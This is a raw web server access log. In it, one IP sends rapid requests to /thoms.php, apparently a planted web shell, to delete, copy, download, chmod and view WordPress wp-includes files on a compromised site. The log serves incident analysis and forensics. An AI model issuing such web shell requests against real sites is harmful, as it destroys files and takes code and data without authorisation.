45.135.193.11 - - [11/Sep/2026:23:18:04 -0400] "GET /thoms.php?del=style-engine.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59270 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59349 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59275 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12169 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /bestzyx.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwp-db.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwp-db.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:05 -0400] "GET /thoms.php?del=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14306 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /bestzyx.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /bestzyx.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23487 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16918 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?del=ms-load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?del=class-requests.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:06 -0400] "GET /thoms.php?del=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59306 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?del=general-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?del=load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20133 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /bestzyx.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12514 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?chmod=user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:07 -0400] "GET /thoms.php?dl=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fview-config.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fview-config.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?chmod=rest-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?chmod=ai-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13963 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fscript-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fscript-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13966 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?dl=json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:08 -0400] "GET /thoms.php?del=media-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59257 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?chmod=style-engine.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fauthor-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fauthor-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frest-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frest-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:09 -0400] "GET /thoms.php?dl=class-wp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?dl=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59354 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:10 -0400] "GET /thoms.php?dl=query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcomment-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcomment-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?chmod=template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14890 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcanonical.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcanonical.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12135 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15731 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?del=view-config.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12770 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59336 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:11 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
